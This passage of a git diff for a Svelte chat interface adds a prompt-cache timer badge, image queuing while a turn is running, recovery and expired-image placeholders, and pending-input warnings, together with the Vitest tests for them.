+ const input = container.querySelector('input[type="file"]') as HTMLInputElement;
+ Object.defineProperty(input, "files", {
+ value: [new File(["GIF"], "shot.gif", { type: "image/gif" })],
+ });
+ input.dispatchEvent(new Event("change", { bubbles: true }));
+ await screen.findByRole("button", { name: "Remove image" });
+
+ await user.click(screen.getByRole("button", { name: "Queue" }));
+
+ expect(onQueue).toHaveBeenCalledExactlyOnceWith("", [
+ { url: "data:image/gif;base64,R0lG", mimeType: "image/gif" },
+ ]);
+ expect(onSend).not.toHaveBeenCalled();
+ expect(screen.queryByRole("button", { name: "Remove image" })).not.toBeInTheDocument();
+ });
+
+ it.each([
+ "running",
+ "queued",
+ ] as const)("keeps images and text staged while %s without onQueue", async (status) => {
+ const onSend = vi.fn();
+ const user = userEvent.setup();
+ const { container, rerender } = render(Composer, { props: { onSend, status } });
+ const input = container.querySelector('input[type="file"]') as HTMLInputElement;
+ Object.defineProperty(input, "files", {
+ value: [new File(["GIF"], "shot.gif", { type: "image/gif" })],
+ });
+ input.dispatchEvent(new Event("change", { bubbles: true }));
+ await screen.findByRole("button", { name: "Remove image" });
+ const textarea = screen.getByRole("textbox", { name: "Message input" });
+ await user.type(textarea, "{Enter}"); // image-only: no queue callback
+ await user.type(textarea, "keep this{Enter}");
+ container
+ .querySelector("form")
+ ?.dispatchEvent(new Event("submit", { bubbles: true, cancelable: true }));
+
expect(onSend).not.toHaveBeenCalled();
+ expect(textarea).toHaveValue("keep this");
+ expect(screen.getByRole("button", { name: "Remove image" })).toBeInTheDocument();
+ expect(screen.getByRole("button", { name: "Queue" })).toBeDisabled();
+ // Once idle, the same staged input can actually be sent.
+ await rerender({ status: "idle" });
+ await user.click(screen.getByRole("button", { name: "Send" }));
+ expect(onSend).toHaveBeenCalledExactlyOnceWith("keep this", [
+ { url: "data:image/gif;base64,R0lG", mimeType: "image/gif" },
+ ]);
+ expect(screen.queryByRole("button", { name: "Remove image" })).not.toBeInTheDocument();
});
});
@@ -1542,3 +1686,192 @@ describe("ReasoningEffortSelector", () => {
});
});
});
+
+describe("ChatView — cache timer", () => {
+ const usage = { inputTokens: 1000, outputTokens: 10, cacheReadTokens: 900 };
+ function step(stepId: string) {
+ return { stepId: stepId as StepId, usage, decodeMs: 100 };
+ }
+ function turn(turnId: string, stepIds: string[] = [`${turnId}#0`]): TurnMetricsEntry {
+ const steps = stepIds.map(step);
+ return { turnId, steps, total: { turnId, usage, steps } };
+ }
+ function exchange(turnId: string, base: number): RenderedChunk[] {
+ return [
+ {
+ seq: base,
+ role: "user",
+ chunk: { type: "text", text: `q-${turnId}` },
+ provisional: false,
+ turnId,
+ },
+ {
+ seq: base + 1,
+ role: "assistant",
+ chunk: { type: "text", text: `a-${turnId}` },
+ provisional: false,
+ turnId,
+ },
+ ];
+ }
+ function toolChunk(turnId: string, stepId: string, seq: number): RenderedChunk {
+ return {
+ seq,
+ role: "assistant",
+ chunk: {
+ type: "tool-call",
+ toolCallId: `call-${stepId}`,
+ toolName: "read_file",
+ input: {},
+ stepId: stepId as StepId,
+ },
+ provisional: false,
+ turnId,
+ };
+ }
+ function state(partial: Partial<CacheTimerState>): CacheTimerState {
+ return { ...initialCacheTimerState(), ...partial };
+ }
+
+ it("renders nothing when the feature is off (cacheTimer null)", () => {
+ render(ChatView, { props: { chunks: exchange("t1", 1), turnMetrics: [turn("t1")] } });
+ expect(screen.queryByTestId("cache-timer-live")).toBeNull();
+ expect(screen.queryByTestId("cache-timer-stamp")).toBeNull();
+ });
+
+ it("shows a live timer under executing tools, counting up to 10+ min", async () => {
+ vi.useFakeTimers();
+ try {
+ const chunks = [exchange("t1", 1)[0] as RenderedChunk, toolChunk("t1", "t1#0", 2)];
+ render(ChatView, {
+ props: {
+ chunks,
+ turnMetrics: [{ turnId: "t1", steps: [step("t1#0")], total: null }],
+ cacheTimer: state({
+ running: {
+ kind: "step",
+ turnId: "t1",
+ stepId: "t1#0",
+ startedAt: Date.now(),
+ toolCount: 1,
+ pending: new Set(["call-t1#0"]),
+ maxToolMs: 0,
+ },
+ }),
+ },
+ });
+ const row = screen.getByTestId("cache-timer-tools");
+ expect(row).toHaveTextContent(/Running tools/);
+ expect(screen.getByTestId("cache-timer-live")).toHaveTextContent("0:00");
+ await vi.advanceTimersByTimeAsync(5 * 60_000 + 30_000);
+ expect(screen.getByTestId("cache-timer-live")).toHaveTextContent("5:30");
+ await vi.advanceTimersByTimeAsync(5 * 60_000);
+ expect(screen.getByTestId("cache-timer-live")).toHaveTextContent("10+ min");
+ } finally {
+ vi.useRealTimers();
+ }
+ });
+
+ it("hides the live tools row for a step with no tool calls", () => {
+ render(ChatView, {
+ props: {
+ chunks: exchange("t1", 1),
+ turnMetrics: [{ turnId: "t1", steps: [step("t1#0")], total: null }],
+ cacheTimer: state({
+ running: {
+ kind: "step",
+ turnId: "t1",
+ stepId: "t1#0",
+ startedAt: Date.now(),
+ toolCount: 0,
+ pending: new Set(),
+ maxToolMs: 0,
+ },
+ }),
+ },
+ });
+ expect(screen.queryByTestId("cache-timer-tools")).toBeNull();
+ });
+
+ it("stamps a finished step gap on that step's line, next to its cache badge", () => {
+ const chunks = [exchange("t1", 1)[0] as RenderedChunk, toolChunk("t1", "t1#0", 2)];
+ render(ChatView, {
+ props: {
+ chunks,
+ turnMetrics: [{ turnId: "t1", steps: [step("t1#0")], total: null }],
+ cacheTimer: state({ stepStamps: new Map([["t1#0", 65_000]]) }),
+ },
+ });
+ const stamp = screen.getByTestId("cache-timer-stamp");
+ expect(stamp).toHaveTextContent("1:05");
+ // Sized to match the step's (xs) cache badge.
+ expect(stamp).toHaveClass("badge-xs");
+ expect(stamp).not.toHaveClass("badge-sm");
+ // Same line as the step's cache badge.
+ expect(stamp.parentElement).toContainElement(screen.getByTestId("step-cache-badge"));
+ expect(screen.queryByTestId("cache-timer-tools")).toBeNull();
+ });
+
+ it("runs a turn gap live on that turn's row, and shows stamps on earlier turns", () => {
+ render(ChatView, {
+ props: {
+ chunks: [...exchange("t1", 1), ...exchange("t2", 3)],
+ turnMetrics: [turn("t1"), turn("t2")],
+ cacheTimer: state({
+ running: { kind: "turn", turnId: "t2", startedAt: Date.now() },
+ turnStamps: new Map([["t1", 11 * 60_000]]),
+ }),
+ },
+ });
+ const live = screen.getByTestId("cache-timer-live");
+ expect(live.closest(".chat-bubble")).toHaveTextContent(/turn 2/);
+ expect(live).toHaveClass("badge-sm");
+ const stamp = screen.getByTestId("cache-timer-stamp");
+ expect(stamp).toHaveTextContent("10+ min");
+ expect(stamp.closest(".chat-bubble")).toHaveTextContent(/turn 1/);
+ });
+
+ it("a live timer mounts without re-running its effect on a moving clock (no render stall)", async () => {
+ // Regression: the badge's effect once READ the `current` state it wrote, so
+ // with a real (always-advancing) clock it re-ran itself until Svelte threw
+ // `effect_update_depth_exceeded` — aborting the flush, so turn data showed late.
+ let calls = 0;
+ const now = () => {
+ calls++;
+ return 1_000_000 + calls;
+ };
+ render(CacheTimerBadge, { props: { since: 1_000_000, now } });
+ await new Promise((r) => setTimeout(r, 20));
+ expect(calls).toBeLessThan(5);
+ expect(screen.getByTestId("cache-timer-live")).toHaveTextContent("0:00");
+ });
+
+ it("renders the turn's metrics alongside a live turn timer", () => {
+ render(ChatView, {
+ props: {
+ chunks: exchange("t1", 1),
+ turnMetrics: [turn("t1")],
+ cacheTimer: state({ running: { kind: "turn", turnId: "t1", startedAt: Date.now() } }),
+ },
+ });
+ expect(screen.getByText(/turn 1 · 10 tok out/)).toBeInTheDocument();
+ expect(screen.getByText("a-t1")).toBeInTheDocument();
+ expect(screen.getByTestId("cache-timer-live")).toHaveTextContent(/^0:00$/);
+ });
+
+ it("puts a SEEDED turn gap (no turnId) on the most recent turn's row", () => {
+ render(ChatView, {
+ props: {
+ chunks: [...exchange("t1", 1), ...exchange("t2", 3)],
+ turnMetrics: [turn("t1"), turn("t2")],
+ cacheTimer: state({
+ running: { kind: "turn", turnId: null, startedAt: Date.now() - 2 * 60_000 },
+ }),
+ },
+ });
+ const badges = screen.getAllByTestId("cache-timer-live");
+ expect(badges).toHaveLength(1);
+ expect(badges[0]).toHaveTextContent("2:00");
+ expect(badges[0]?.closest(".chat-bubble")).toHaveTextContent(/turn 2/);
+ });
+});
diff --git a/src/features/chat/ui/CacheTimerBadge.svelte b/src/features/chat/ui/CacheTimerBadge.svelte
new file mode 100644
index 0000000..9e6f96d
--- /dev/null
+++ b/src/features/chat/ui/CacheTimerBadge.svelte
@@ -0,0 +1,70 @@
+<script lang="ts">
+ /**
+ * One cache-timer badge. LIVE when given `since` (counts up from that epoch
+ * ms, ticking once a second, and stops ticking at the 10-minute cap); STAMPED
+ * when given `elapsedMs` (a finished gap — static). Formatting lives in
+ * `core/metrics` (`viewCacheTimer`). Owning the tick here means only this
+ * badge re-renders each second, not the transcript.
+ */
+ import { untrack } from "svelte";
+ import { CACHE_TIMER_MAX_MS, viewCacheTimer } from "../../../core/metrics";
+
+ let {
+ since,
+ elapsedMs,
+ size = "sm",
+ now = Date.now,
+ }: {
+ /** Live: epoch ms the gap started. */
+ since?: number;
+ /** Stamped: the gap's final duration (wins over `since`). */
+ elapsedMs?: number;
+ /** Badge size — match the neighbouring cache badge (`xs` on step lines). */
+ size?: "xs" | "sm";
+ /** Wall clock (injected for tests). */
+ now?: () => number;
+ } = $props();
+
+ // Initial read only (the effect below keeps it current while live).
+ let current = $state(untrack(() => now()));
+
+ // Depends ONLY on `since`/`elapsedMs`/`now`. It must never READ `current`
+ // (it writes it): reading its own write makes the effect re-run itself on
+ // every clock change → `effect_update_depth_exceeded`, which aborts the whole
+ // reactive flush and stalls the transcript (turn data rendering late).
+ $effect(() => {
+ if (elapsedMs !== undefined || since === undefined) return;
+ const start = since;
+ const clock = now;
+ const t0 = clock();
+ current = t0;
+ if (t0 - start >= CACHE_TIMER_MAX_MS) return;
+ const id = setInterval(() => {
+ const t = clock();
+ current = t;
+ if (t - start >= CACHE_TIMER_MAX_MS) clearInterval(id);
+ }, 1000);
+ return () => clearInterval(id);
+ });
+
+ const badgeClass = {
+ success: "badge-success",
+ warning: "badge-warning",
+ error: "badge-error",
+ } as const;
+
+ const live = $derived(elapsedMs === undefined);
+ const view = $derived(viewCacheTimer(elapsedMs ?? current - (since ?? current)));
+</script>
+
+<span
+ class="badge font-mono tabular-nums {badgeClass[view.level]}"
+ class:badge-xs={size === "xs"}
+ class:badge-sm={size === "sm"}
+ class:badge-outline={!live}
+ title={live
+ ? "Cache timer (running): time since the last model request. The Claude prompt cache expires after 5 minutes idle."
+ : "Cache timer (stopped): how long the cache sat idle before the next request. The Claude prompt cache expires after 5 minutes idle."}
+ data-testid={live ? "cache-timer-live" : "cache-timer-stamp"}
+ >{view.label}</span
+>
diff --git a/src/features/chat/ui/ChatView.svelte b/src/features/chat/ui/ChatView.svelte
index 18fea7c..c7f566a 100644
--- a/src/features/chat/ui/ChatView.svelte
+++ b/src/features/chat/ui/ChatView.svelte
@@ -2,7 +2,9 @@
import type { TurnProviderRetryEvent } from "@dispatch/wire";
import { groupRenderedChunks, resolveImageUrl, type RenderedChunk, viewProviderRetry } from "../index";
import {
+ type CacheTimerState,
interleaveTurnMetrics,
+ lastTurnRowIndex,
viewCacheRate,
viewExpectedCache,
viewStepMetrics,
@@ -10,6 +12,7 @@
type TurnMetricsEntry,
} from "../../../core/metrics";
import { Markdown } from "../../markdown";
+ import CacheTimerBadge from "./CacheTimerBadge.svelte";
import LazyCollapse from "./LazyCollapse.svelte";
import ToolCard from "./ToolCard.svelte";
@@ -21,14 +24,18 @@
let {
chunks,
+ recovering = false,
turnMetrics = [],
hasEarlier = false,
onShowEarlier,
thinkingKeyBase = 0,
providerRetry = null,
apiBaseUrl = "",
+ cwd = null,
+ cacheTimer = null,
}: {
chunks: readonly RenderedChunk[];
+ recovering?: boolean;
turnMetrics?: readonly TurnMetricsEntry[];
/** Earlier history is unloaded (chat limit) and can be paged back in. */
hasEarlier?: boolean;
@@ -55,10 +62,25 @@
* "" (root-relative — a browser resolves `/images/…` against its origin).
*/
apiBaseUrl?: string;
+ /**
+ * The active conversation's working directory (null when unset). Relative
+ * Markdown image srcs (`![x](shot.png)`) resolve against it; local absolute
+ * and `file://` paths do not need it. Passed to `Markdown` with `apiBaseUrl`.
+ */
+ cwd?: string | null;
+ /**
+ * The cache timer (gaps between model requests): a running step gap shows
+ * live at the bottom (under the executing tools), a running turn gap live
+ * on that turn's metrics row; finished gaps are stamped on their step /
+ * turn metrics line. `null` (the default) hides it entirely — the caller
+ * gates on the model.
+ */
+ cacheTimer?: CacheTimerState | null;
} = $props();
// True while a show-earlier page-in is awaited (disables the button).
let loadingEarlier = $state(false);
+ let failedImages = $state<string[]>([]);
async function showEarlier() {
if (!onShowEarlier || loadingEarlier) return;
@@ -70,10 +92,35 @@
}
}
- const groups = $derived(groupRenderedChunks(chunks));
+ const groups = $derived(groupRenderedChunks(chunks, recovering));
const rows = $derived(interleaveTurnMetrics(groups, turnMetrics));
+ // A SEEDED turn gap (no turnId — e.g. after a reload) renders on the most
+ // recent turn's row (when no user message follows it).
+ const seededTurnRow = $derived(
+ cacheTimer?.running?.kind === "turn" && cacheTimer.running.turnId === null
+ ? lastTurnRowIndex(rows)
+ : null,
+ );
+
+ /** Start of the running turn gap if it belongs on this turn row, else undefined. */
+ function liveTurnSince(turnId: string, rowIndex: number): number | undefined {
+ const r = cacheTimer?.running;
+ if (r?.kind !== "turn") return undefined;
+ if (r.turnId === turnId || (r.turnId === null && rowIndex === seededTurnRow)) {
+ return r.startedAt;
+ }
+ return undefined;
+ }
+
+ // A running step gap with tool calls → the live timer under the executing tools.
+ const liveStepGap = $derived(
+ cacheTimer?.running?.kind === "step" && cacheTimer.running.toolCount > 0
+ ? cacheTimer.running
+ : null,
+ );
+
// Tool cards use toolCallId keys across pending/result/seal and orphan page-in.
// Stable per-row keys. Thinking blocks get an ordinal key (`think<n>`) that
// survives the provisional→committed (seq null → seq N) transition, so the
@@ -105,6 +152,12 @@
});
</script>
+{#if recovering}
+ <p role="status" class="px-4 py-2 text-sm text-base-content/70">
+ Recovering conversation history… Omitted tool input/output is unavailable until persisted.
+ </p>
+{/if}
+
{#snippet chunkRow(rendered: RenderedChunk)}
{#if rendered.role === "user"}
<!-- User: a speech bubble, left-aligned. A user message may be multi-chunk
@@ -117,13 +170,22 @@
{#if rendered.chunk.type === "text"}
<p>{rendered.chunk.text}</p>
{:else if rendered.chunk.type === "image"}
- <img
- src={resolveImageUrl(rendered.chunk.url, apiBaseUrl)}
- alt={rendered.chunk.mimeType ?? "pasted image"}
- loading="lazy"
- decoding="async"
- class="max-h-80 max-w-full rounded"
- />
+ {#if failedImages.includes(rendered.chunk.url)}
+ <span class="text-sm opacity-70">image expired</span>
+ {:else}
+ <img
+ src={resolveImageUrl(rendered.chunk.url, apiBaseUrl)}
+ alt={rendered.chunk.mimeType ?? "pasted image"}
+ loading="lazy"
+ decoding="async"
+ onerror={() => {
+ if (rendered.chunk.type === "image" && rendered.chunk.url.startsWith("/images/")) {
+ failedImages = [...failedImages, rendered.chunk.url];
+ }
+ }}
+ class="max-h-80 max-w-full rounded"
+ />
+ {/if}
{/if}
</div>
</div>
@@ -150,7 +212,11 @@
<div class="chat chat-start [&>.chat-bubble]:max-w-5xl">
<div class="chat-bubble w-full bg-transparent">
{#if rendered.chunk.type === "text"}
- <Markdown text={rendered.chunk.text} streaming={rendered.streaming ?? false} />
+ <Markdown
+ text={rendered.chunk.text}
+ streaming={rendered.streaming ?? false}
+ image={{ apiBase: apiBaseUrl, cwd }}
+ />
{:else if rendered.chunk.type === "error"}
<div class="text-error" role="alert">
{rendered.chunk.message}
@@ -180,13 +246,14 @@
</button>
</div>
{/if}
- {#each keyedRows as { row, key } (key)}
+ {#each keyedRows as { row, key }, i (key)}
<!-- `.chat-row`: content-visibility:auto — the browser skips layout/paint
for rows outside the viewport (see app.css). -->
<div class="chat-row">
{#if row.kind === "step-metrics"}
{@const sv = viewStepMetrics(row.step, row.index)}
{@const stepCache = viewCacheRate(row.step.usage)}
+ {@const stepStamp = cacheTimer?.stepStamps.get(row.step.stepId)}
<div class="chat chat-start">
<div class="chat-bubble w-full max-w-5xl bg-transparent p-0">
<div class="flex flex-wrap items-center gap-x-1 text-xs">
@@ -203,6 +270,9 @@
class="badge badge-xs {badgeClass[stepCache.level]}"
data-testid="step-cache-badge">{stepCache.pct}%</span
>
+ {#if stepStamp !== undefined}
+ <CacheTimerBadge elapsedMs={stepStamp} size="xs" />
+ {/if}
</div>
</div>
</div>
@@ -211,6 +281,8 @@
{@const lastCache = viewCacheRate(row.turn.usage)}
{@const chatCache = viewCacheRate(row.cumulativeUsage)}
{@const retention = viewExpectedCache(row.turn.steps[0]?.usage, row.prevLastStepUsage)}
+ {@const turnLive = liveTurnSince(row.turn.turnId, i)}
+ {@const turnStamp = cacheTimer?.turnStamps.get(row.turn.turnId)}
<div class="chat chat-start">
<div class="chat-bubble w-full max-w-5xl bg-transparent p-0">
<div class="flex flex-col gap-1 text-xs">
@@ -236,6 +308,11 @@
<span class="badge badge-sm {badgeClass[retention.level]}">{retention.pct}%</span>
</span>
{/if}
+ {#if turnLive !== undefined}
+ <CacheTimerBadge since={turnLive} />
+ {:else if turnStamp !== undefined}
+ <CacheTimerBadge elapsedMs={turnStamp} />
+ {/if}
</div>
</div>
</div>
@@ -252,6 +329,18 @@
{/if}
</div>
{/each}
+ {#if liveStepGap}
+ <!-- Live cache timer while the last step's tools execute; stamped onto that
+ step's metrics line once they return (or the next step starts). -->
+ <div class="chat chat-start">
+ <div class="chat-bubble w-full max-w-5xl bg-transparent p-0">
+ <div class="flex items-center gap-1 text-xs" data-testid="cache-timer-tools">
+ <span class="opacity-70">Running tools</span>
+ <CacheTimerBadge since={liveStepGap.startedAt} size="xs" />
+ </div>
+ </div>
+ </div>
+ {/if}
{#if providerRetry}
{@const rv = viewProviderRetry(providerRetry)}
<!-- Transient yellow warning: a provider error is being retried with backoff.
diff --git a/src/features/chat/ui/ChatView.test.ts b/src/features/chat/ui/ChatView.test.ts
index 77f832d..a6bd8ac 100644
--- a/src/features/chat/ui/ChatView.test.ts
+++ b/src/features/chat/ui/ChatView.test.ts
@@ -1,5 +1,5 @@
import type { StepId } from "@dispatch/wire";
-import { render, screen } from "@testing-library/svelte";
+import { fireEvent, render, screen } from "@testing-library/svelte";
import userEvent from "@testing-library/user-event";
import { describe, expect, it } from "vitest";
import type { RenderedChunk } from "../../../core/chunks";
@@ -497,3 +497,62 @@ it("renders a per-tool Phosphor icon in the header", () => {
// Different tools → different glyphs.
expect(icons[0]?.innerHTML).not.toBe(icons[1]?.innerHTML);
});
+
+it("replaces failed persisted images with an expired placeholder, without marking inline images expired", async () => {
+ const chunks: RenderedChunk[] = ["/images/conv/gone.png", "data:image/png;base64,AAAA"].map(
+ (url, i) => ({ seq: i + 1, role: "user", chunk: { type: "image", url }, provisional: false }),
+ );
+ render(ChatView, { chunks, apiBaseUrl: "https://backend.test" });
+ const [stored, inline] = screen.getAllByRole("img");
+ if (!stored || !inline) throw new Error("expected both images");
+ expect(stored).toHaveAttribute("src", "https://backend.test/images/conv/gone.png");
+ await fireEvent.error(inline);
+ expect(screen.queryByText("image expired")).toBeNull();
+ await fireEvent.error(stored);
+ expect(screen.getByText("image expired")).toBeInTheDocument();
+ expect(screen.getAllByRole("img")).toEqual([inline]);
+});
+
+it("shows omitted in-progress tool input as recovering/unavailable, never No arguments", async () => {
+ const { container, rerender } = render(ChatView, {
+ recovering: true,
+ chunks: [
+ {
+ seq: null,
+ role: "tool",
+ provisional: true,
+ chunk: {
+ type: "tool-result",
+ toolCallId: "missing",
+ toolName: "run_shell",
+ content: "real output",
+ isError: false,
+ },
+ },
+ ],
+ });
+ expect(screen.getByRole("status").textContent).toContain("unavailable until persisted");
+ expect(screen.getByText("Recovering tool input…")).toBeTruthy();
+ await openAllCollapses(container);
+ expect(screen.getByText(/Tool input is unavailable until it is persisted/)).toBeTruthy();
+ expect(screen.queryByText("No arguments")).toBeNull();
+ expect(screen.getByText("real output")).toBeTruthy();
+ await rerender({
+ recovering: false,
+ chunks: [
+ {
+ seq: 1,
+ role: "assistant",
+ provisional: false,
+ chunk: {
+ type: "tool-call",
+ toolCallId: "missing",
+ toolName: "run_shell",
+ input: { command: "recovered command" },
+ },
+ },
+ ],
+ });
+ expect(screen.queryByRole("status")).toBeNull();
+ expect(screen.queryByText("Recovering tool input…")).toBeNull();
+});
diff --git a/src/features/chat/ui/Composer.svelte b/src/features/chat/ui/Composer.svelte
index c7d9d02..a43ed53 100644
--- a/src/features/chat/ui/Composer.svelte
+++ b/src/features/chat/ui/Composer.svelte
@@ -1,6 +1,7 @@
<script lang="ts">
import type { ImageInput } from "@dispatch/wire";
import { convertToJpeg, type ConvertedJpeg, type ImageJpegEncoder } from "../adapter/image-encode";
+ import { stopButtonLabels } from "../logic/composer";
import { MAX_IMAGE_EDGE_PX, shouldConvertImage } from "../logic/image-compress";
import { computeContextUsage, formatCompactTokens } from "../../../core/metrics";
@@ -59,6 +60,7 @@
contextSize = undefined,
contextWindow = undefined,
status = "idle",
+ queuedMessageCount = undefined,
}: {
/**
* Send a message (start a turn via `chat.send`). Carries any staged images
@@ -70,10 +72,10 @@
/**
* Enqueue a steering message (`chat.queue`). When provided AND the status
* is `running`, the send button becomes a "Queue" button that steers the
- * in-flight turn instead of starting a new one. Steering is text-only —
- * it never carries images (a mid-turn injection has no image surface).
+ * in-flight turn instead of starting a new one. Carries staged images just
+ * like onSend; without this callback, in-flight input stays staged.
*/
- onQueue?: (text: string) => void;
+ onQueue?: (text: string, images?: ImageInput[]) => void;
/** Stop the in-flight generation (`POST /conversations/:id/stop`). */
onStop?: () => void;
/**
@@ -95,6 +97,8 @@
* `running` for the send button (steer/stop).
*/
status?: ComposerStatus;
+ /** Current conversation's queued snapshot size; undefined when unavailable. */
+ queuedMessageCount?: number | undefined;
} = $props();
export type ComposerStatus = "idle" | "running" | "queued" | "error";
@@ -107,25 +111,23 @@
const hasText = $derived(text.trim().length > 0);
const hasImages = $derived(images.length > 0);
- const canSend = $derived(hasText || hasImages);
+ const inFlight = $derived(status === "running" || status === "queued");
+ const canSend = $derived((hasText || hasImages) && (!inFlight || onQueue !== undefined));
const effectiveMax = $derived(contextWindow ?? FALLBACK_CONTEXT_WINDOW);
const usage = $derived(computeContextUsage(contextSize, effectiveMax));
// One button, three modes:
// - idle → "Send" (starts a turn via chat.send)
- // - running/queued + text → "Queue" (steers via chat.queue — text only)
+ // - running/queued + text/images → "Queue" (steers via chat.queue)
// - running/queued + empty → "Stop" (aborts via POST /stop)
// (`queued` behaves like `running` — the turn is in flight, just waiting for a
// concurrency slot; the user can still steer or stop it.)
- // Steering never carries images: when running with images staged but no text,
- // the images stay staged (queue is text-only). Images-without-text while running
- // is an unusual case that still sends (the server auto-starts/resolves).
- const inFlight = $derived(status === "running" || status === "queued");
const buttonMode = $derived.by<"send" | "queue" | "stop">(() => {
if (inFlight && !hasText && !hasImages && onStop !== undefined) return "stop";
- if (inFlight && hasText && onQueue !== undefined) return "queue";
+ if (inFlight) return "queue";
return "send";
});
+ const stopButton = $derived(stopButtonLabels(queuedMessageCount));
const placeholder = $derived(
status === "queued"
? "Queued for a slot…"
@@ -283,15 +285,15 @@
const trimmed = text.trim();
// Allow a send with images even when text is empty (an image-only turn).
if (trimmed.length === 0 && !hasImages) return;
- if (buttonMode === "queue") {
- // Steering is text-only — never forward images.
- onQueue?.(trimmed);
+ const toSend = hasImages ? images.map((img) => imageInput(img)) : undefined;
+ if (inFlight) {
+ if (onQueue === undefined) return; // Keep staged input if no queue port is wired.
+ onQueue(trimmed, toSend);
} else {
- const toSend: ImageInput[] | undefined = hasImages
- ? images.map((img) => imageInput(img))
- : undefined;
onSend(trimmed, toSend);
}
+ // Clear only after handing the complete input to a callback. WS is still
+ // fire-and-forget: this does not imply backend storage has completed.
text = "";
images = [];
}
@@ -322,7 +324,7 @@
<!-- Top bar: expanding textarea + image-attach button + single context-aware button -->
<div class="flex items-end gap-2 px-4 pt-3 pb-2">
<div
- class="flex-1"
+ class="min-w-0 flex-1"
onpaste={handlePaste}
class:border-2={dragOver}
class:border-primary={dragOver}
@@ -374,12 +376,17 @@
{#if buttonMode === "stop"}
<button
- class="btn btn-error w-20 shrink-0"
+ class="btn btn-error shrink-0"
+ class:w-20={stopButton.text === "Stop"}
+ class:w-36={stopButton.text !== "Stop"}
+ class:whitespace-normal={stopButton.text !== "Stop"}
+ class:leading-tight={stopButton.text !== "Stop"}
type="button"
- aria-label="Stop generation"
+ aria-label={stopButton.ariaLabel}
+ title={stopButton.title}
onclick={() => onStop?.()}
>
- Stop
+ {stopButton.text}
</button>
{:else}
<button class="btn btn-primary w-20 shrink-0" type="submit" disabled={!canSend}>
diff --git a/src/features/chat/ui/PendingInputWarning.svelte b/src/features/chat/ui/PendingInputWarning.svelte
new file mode 100644
index 0000000..c9e675e
--- /dev/null
+++ b/src/features/chat/ui/PendingInputWarning.svelte
@@ -0,0 +1,47 @@
+<script lang="ts">
+ import { onMount } from "svelte";
+ import type { PendingInput } from "../pending-inputs";
+
+ let {
+ input,
+ onDiscard,
+ }: {
+ input: PendingInput;
+ onDiscard: (requestId: string) => void;
+ } = $props();
+
+ let visible = $state(false);
+
+ // Presentation only: each keyed row gets one grace period, including restored
+ // or rejected inputs. Prop updates never restart it. Confirmation/discard
+ // removes the row, cancelling the timer along with any other unmount.
+ onMount(() => {
+ const timer = setTimeout(() => {
+ visible = true;
+ }, 1000);
+ return () => clearTimeout(timer);
+ });
+</script>
+
+{#if visible}
+ <div class="m-3 rounded border border-warning p-3 text-sm" role="status">
+ <p>
+ {input.rejection
+ ? `Message rejected: ${input.rejection}`
+ : "Delivery unconfirmed. Your input is saved on this device."}
+ </p>
+ <p>Check the conversation history before sending again to avoid a duplicate.</p>
+ <textarea
+ class="textarea textarea-bordered mt-2 w-full"
+ aria-label="Saved message"
+ readonly
+ value={input.request.type === "chat.send" ? input.request.message : input.request.text}
+ ></textarea>
+ {#each input.request.images ?? [] as image}
+ <img class="my-2 max-h-32" src={image.url} alt="Saved attachment" />
+ {/each}
+ <button class="btn btn-sm mt-2" onclick={() => onDiscard(input.request.requestId)}
+ >Discard saved copy</button
+ >
+ </div>
+{/if}
diff --git a/src/features/chat/ui/PendingInputs.svelte b/src/features/chat/ui/PendingInputs.svelte
new file mode 100644
index 0000000..dcb7aee
--- /dev/null
+++ b/src/features/chat/ui/PendingInputs.svelte
@@ -0,0 +1,16 @@
+<script lang="ts">
+ import type { PendingInput } from "../pending-inputs";
+ import PendingInputWarning from "./PendingInputWarning.svelte";
+
+ let {
+ inputs,
+ onDiscard,
+ }: {
+ inputs: readonly PendingInput[];
+ onDiscard: (requestId: string) => void;
+ } = $props();
+</script>
+
+{#each inputs as input (input.request.requestId)}
+ <PendingInputWarning {input} {onDiscard} />
+{/each}
diff --git a/src/features/chat/ui/PendingInputs.test.ts b/src/features/chat/ui/PendingInputs.test.ts
new file mode 100644
index 0000000..cea770d
--- /dev/null
+++ b/src/features/chat/ui/PendingInputs.test.ts
@@ -0,0 +1,217 @@
+import { cleanup, fireEvent, render, screen } from "@testing-library/svelte";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import type { PendingInput } from "../pending-inputs";
+import { createChatStore } from "../store.svelte";
+import {
+ createFakeCache,
+ createFakeHistorySync,
+ createFakeMetricsSync,
+ createFakeTransport,
+} from "../test-helpers";
+import PendingInputs from "./PendingInputs.svelte";
+
+function input(requestId: string, type: "chat.send" | "chat.queue" = "chat.send"): PendingInput {
+ return {
+ request: {
+ ...(type === "chat.send" ? { type, message: requestId } : { type, text: requestId }),
+ conversationId: "c",
+ requestId,
+ images: [{ url: "data:image/png;base64,AAAA", mimeType: "image/png" }],
+ },
+ };
+}
+
+beforeEach(() => vi.useFakeTimers());
+afterEach(() => {
+ cleanup();
+ const remaining = vi.getTimerCount();
+ vi.useRealTimers();
+ expect(remaining).toBe(0);
+});
+
+describe("pending input warning grace period", () => {
+ it.each([
+ "chat.send",
+ "chat.queue",
+ ] as const)("renders no %s recovery UI before 1000 ms, then keeps its content stable", async (type) => {
+ const { container } = render(PendingInputs, {
+ inputs: [input("saved message", type)],
+ onDiscard: vi.fn(),
+ });
+ expect(container.children).toHaveLength(0);
+ expect(container.textContent).toBe("");
+ await vi.advanceTimersByTimeAsync(999);
+ expect(container.children).toHaveLength(0);
+ expect(container.textContent).toBe("");
+ expect(screen.queryByRole("status")).toBeNull();
+ await vi.advanceTimersByTimeAsync(1);
+ const warning = screen.getByRole("status");
+ expect(warning).toHaveTextContent("Delivery unconfirmed. Your input is saved on this device.");
+ expect(warning).toHaveTextContent(
+ "Check the conversation history before sending again to avoid a duplicate.",
+ );
+ expect(screen.getByRole("textbox", { name: "Saved message" })).toHaveValue("saved message");
+ expect(screen.getByRole("img", { name: "Saved attachment" })).toHaveAttribute(
+ "src",
+ "data:image/png;base64,AAAA",
+ );
+ const content = warning.innerHTML;
+ await vi.advanceTimersByTimeAsync(10_000);
+ expect(screen.getByRole("status")).toBe(warning);
+ expect(warning.innerHTML).toBe(content);
+ });
+
+ it.each([
+ "confirmation",
+ "discard",
+ ])("%s before the threshold cancels the timer and never flashes later", async (resolution) => {
+ const transport = createFakeTransport();
+ const save = vi.fn();
+ const store = createChatStore({
+ conversationId: "c",
+ createRequestId: () => "first",
+ transport: transport.impl,
+ historySync: createFakeHistorySync().impl,
+ metricsSync: createFakeMetricsSync().impl,
+ cache: createFakeCache().impl,
+ pendingInputStorage: { load: () => [], save },
+ });
+ try {
+ store.send("first");
